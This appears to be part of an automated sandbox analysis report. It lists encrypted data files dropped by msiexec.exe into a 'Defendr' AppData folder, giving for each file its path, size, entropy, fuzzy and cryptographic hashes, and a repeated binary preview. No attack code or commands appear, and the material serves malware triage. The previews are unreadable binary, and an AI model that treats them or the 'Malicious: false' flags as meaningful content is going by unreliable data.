Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv34.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	38199
Entropy (8bit):	7.994828083625625
Encrypted:	true
SSDEEP:	768:BW6NMP+zF9wefol+psQuQa3h+IVbL3Z+qOMy5EKxAR:BW6lFykna+SXZ+qOMtKWR
MD5:	BA63FE08745649EF7409FB4B46CCC9A4
SHA1:	41183AF44A3F948952D72E609934D58F6AE7C77F
SHA-256:	BAE33927C53C629FBAECB3A6578C128FEB37A9F49FBB6AC8BDF8CC6386BE6FA0
SHA-512:	9D9E4AD92A96D3160F8392231021316659B791031E78BAD7A87E7722FAA50A8A704322B1D2C1E716B975C2FE45E904CA7B6BEA249C67E9E5F7984E079FC51579
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv35.0.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	99251
Entropy (8bit):	7.998066777711538
Encrypted:	true
SSDEEP:	3072:oDEhVsfQNllK8auRX075JV1vu4fO7HmER5:GEhVxjAwK5J3uiO7Hl5
MD5:	C9AC9354B7E5BF16E8A02D8912BE5B25
SHA1:	830CAE5E71F17FBA34DE2EB0A78EDAF21B09741B
SHA-256:	7BFC65C85AE5FBBDD681F92A3901A17BA9D7E5F55B705967812E53D2855C4244
SHA-512:	C5C96F652EDE2946B24C74DF6548DE72D29796BA3A66DF06138B898EEAEE1B5ECCF6CF84D31184792B7664F9BEB3021E357F5802906A0964AACE19E76F0AE5DD
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv35.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	33097
Entropy (8bit):	7.994609982490262
Encrypted:	true
SSDEEP:	768:BW6NOh3fCcFSodnPvIsFLBhTWFVrXRRDtlBwyHyWqQ:BW6EhvCgtdHBPEVXjHyWqQ
MD5:	B885A0966AF37D3A1C28EB16B505A751
SHA1:	B51E6526C987935FBDE80CE039FDDC3E0460AB2A
SHA-256:	6A9A038A54D95860E3011F93391DBEC99FCCED9ED7A1A6615F5F8A1FE50A3157
SHA-512:	68F2896F74D6DCF3DE4A6BC13B9F378E2428B26907AF14D5B99CE335F52835B01B97A56160A81D8725D0F023057D1F5E4CE0BD8DF0816E0F38D2510B09687B8E
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv36.0.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	102051
Entropy (8bit):	7.998156418187762
Encrypted:	true
SSDEEP:	3072:ogGkjn/WTIWJEKAYvZfd9DSPToJuewpv9e:ECKIWJLBbSLswpvM
MD5:	95A6D0ED38A760F66FB112A5DE59A007
SHA1:	B8ED6F61A7C517CD823F6D5CE0E9217967BEF890
SHA-256:	1917C0F40A87CAD58D49123CE2C7626943504C0F1B3FB8A4826958DE2FD9CBEF
SHA-512:	C0741E8EFA86F4432817CE679CBBD7A74EE7D67891E5FE23826A8AF8E114C911854480E9762FD937D0E4DEBD4CF82E33B2F19A7DCCC0F9128B6A9DEF8AAC4D6C
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv36.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	34219
Entropy (8bit):	7.995028541539741
Encrypted:	true
SSDEEP:	768:BW6Na79PrmgozVd79x9H4l22VjNHVda4G:BW6W9Dfohd79kl22n1PG
MD5:	946B26FFB476A97FE2151D1EBC46CB15
SHA1:	7C9E829F00161D1C314FFD35AD56C87788102DA2
SHA-256:	9593E3D3D284E900189B6F8E5E473B0CC83C817D7E58C649E10AE9672B005E36
SHA-512:	D0F5FAA8FB7AC11B6C0C5F5599D991B8073DE7B314D48903C3536EDFCB0B73C4241A121A8F47DF6C67F23EBF63918418AEF945F5C17F99231B82B5026C60F43C
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv37.0.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	102368
Entropy (8bit):	7.998287814737377
Encrypted:	true
SSDEEP:	1536:BW697ZjN7E9eeTnfPLqxi1p7/p0A50FjiSyvNeLweTOv8rWEFhCtRthTkJ:o27NNQkQHLqg1N+rFt5OEaEFSTY
MD5:	27F06D436A9F1D9CFE5331BB820C5886
SHA1:	E1E7C6A9DB93EB16537CA3E55FBFF36AA03F6837
SHA-256:	871C8926B79A0BAE43A035E00C030AE79713A6B2B15116D25A9D0DD967D433FB
SHA-512:	7CE1F14E46ABD85210DF7E3AD957542532AD22A77E3B5D111EDE0C6B8912A94A0845E52E37BA2206B4816054AE824DCFE9438E212CFBB37B4C1955EA5B7DC72D
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv37.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	34956
Entropy (8bit):	7.99390210191762
Encrypted:	true
SSDEEP:	768:BW6N+314uNtmdalgFjuCUoMZ5Lp2idgAAuY5moUl6fKL:BW6sWuNplg1uHjXHAuYkl6fKL
MD5:	59277C66CA0C3F137749B2F0CB6E5C10
SHA1:	7EBA4A7CC9AFCCF75DE58D365749295A8969CD42
SHA-256:	5F98CE2635A33388E7E3D7793873D6304AD31BBB7D33362999D418E1297515AE
SHA-512:	F127BFF4423F9D072D29E35D2C3CB0587D777ACEC9DB16ED1B762D4B972755DD7D9FBC737F6D0A9369EC033F76DE3F4B9C5D23890C98D102CC86F6D4DC3C739A
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv38.0.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	100625
Entropy (8bit):	7.998258836304681
Encrypted:	true
SSDEEP:	3072:ojxobAh8Z/SFNO6swJ21ekvIhdmeDRjqcTb5NB:yCTZ/4NO8Q1e+Ih7xqcPl
MD5:	C607F49179483B4A4FC6D510E225E5A7
SHA1:	424BF0A62051C28C3E3872E5F78320E2F66E8F29
SHA-256:	E00BCDDC005391C50994D8C32487BD8218CAAF3D1D05CC6925BF810A240EC852
SHA-512:	6A6A907DFC581C92B205781CAA9D7788506BCF66103A790159546D06E00E9EE3DC3512E8F8D6370577D781AB7C13A106896EB39238D302CE3830E47A43A39C6C
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv38.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	33039
Entropy (8bit):	7.994125857127421
Encrypted:	true
SSDEEP:	768:BW6NDBqY1ZYCXu5bgCU/IIynDlmDPOxeUXjWx:BW6p1Z7u5bJsIXokjWx
MD5:	341724703E215BD6C8B1CC913B43C760
SHA1:	A348E7BEC48CC02A89C81B96ADDB5F72547BAD1C
SHA-256:	21F9220D1393695A01ED52B0BA713832AB84686ED71AEEFA5576ACB04FE961E4
SHA-512:	BD6A8E7AC01FDF7B3EE41E624AD5F5569ABC41B77EB83381A8E4082C222BB5F5433F60A8CB33898DE3E029BBB6812610369D9C118AB0CE1C012DCF97D31A8737
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv39.0.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	98042
Entropy (8bit):	7.998232771168422
Encrypted:	true
SSDEEP:	1536:BW6XQPIX4GVmnGevnpNxj/tvYWvOfaYTm0ZjWZVwkss/k3/9Okm+DJqziTGt4jzH:oNUVmnGev9tvYW1pUWXwkxyN96mRlNzp
MD5:	5FF15A57BC129B5997E1ED33B59FD859
SHA1:	D9748C94D6986C5914C7ABAF7F941234ACFE3657
SHA-256:	EA50E8F3C7A99AE4A918A9E123F598056877022BBD2A9952538FC11D917C7D9B
SHA-512:	6D124768092CC59ABE911C60A1E17CAF7876C0B449318A912EB892CAD1E3A267E33B03C812D135F56D514D041DC7D3E0780DE5FB46285C386518B057901B64DE
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv39.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	30982
Entropy (8bit):	7.9936602257846285
Encrypted:	true
SSDEEP:	768:BW6Nw89x7jFGYusgi9XnetODMhBs1PWsGef2/1X1PCr5n:BW6F9x3TuGk01PWsGpl1PCr5n
MD5:	06A392C6ED644F5EB544528F0F943CAF
SHA1:	F355C8E5D3FC6A45E451EA716F576DA2DF8C585C
SHA-256:	C6979DD2F845F6CBED19FD786A169D1B7E0F2B769912A0E7F31076870559C499
SHA-512:	5B205F29E9ED454018621B3D95031B7A27B3D807A4556F4561BA2A8A6268505FD3280EF109DB44CF4005D3C2DD1DC64393540975451DC45944C3230F459B635E
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv4.0.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	100840
Entropy (8bit):	7.998100994292755
Encrypted:	true
SSDEEP:	1536:BW6O+IYxyqQ9b0WMBCWjOsRFv8NCbY6aGtgVxkpLDZBDYbSm9gFnq+Tahj6rru:oAgMsWjD5FbYRLkpfnDY2VqRhj1
MD5:	69233711359E955EF620804A89773A01
SHA1:	31BDFA90CAF80D82C6ED0AD96F5AEC3E76894438
SHA-256:	4F2D662F51F476511B875EEA8D545B3B398D5D636955565EA7582A5170AE5942
SHA-512:	D625A81C8B2CA91366276BDB60CF9EFB291AFCF10105BB1950605E0BE284E2A09CBDE283CE5CFF1C5D889BCD2B0C8E20CA1A9D205E9B11D0762C38F5CF0C339C
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv4.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	33061
Entropy (8bit):	7.994303843711856
Encrypted:	true
SSDEEP:	768:BW6NC4JFpvJfPSG1OCkkF749AgxhDGLKVUNqr6W:BW6XjTfF1AkF7cDGL126W
MD5:	85FA11E8E404ACB68CC0E94112DE4EAC
SHA1:	9726564F9B236EFE6A97647AAE5CD33D221780A7
SHA-256:	4B889FDB958AF334996955C1D16CD0E8C2D8CA32B0D7E6C1D48CB7F88C74E503
SHA-512:	0F3B1B2BBD8E6CD60F1B6923192AC3AB5BEEE5FE044827D929BBF0A32AE3AE46160A73EE572878AF84178096C947D3D779DCE7ED92DF2DD0A1F490B68FF7807B
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv40.0.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	101881
Entropy (8bit):	7.99851186478424
Encrypted:	true
SSDEEP:	1536:BW694jBnxeUrwTeoxi51T2o/IgODbDnexQOH1mehLxun3wbfwRFsWW1BL/tzyoL2:oD8ThZ6IgUbqxQODxu3wb3/zzErP
MD5:	5650BB8A3AFB95778C068056EA82F1AF
SHA1:	3862B30011875537FD471AD3EEC60436E151B8F4
SHA-256:	3D6BCABE68EE6DD6CF5B1CB75674C71A4AD44EA1DF2EEF5B9247E6832367F104
SHA-512:	EAC304C3775604D0369336750F343CA2292F348FA9FDBEC3D80610D609DE0795668A9235223F70FCD46E8D6BC59CB8C0EB5762ECE3AFC08F7B867B0686AF28F1
Malicious:	false
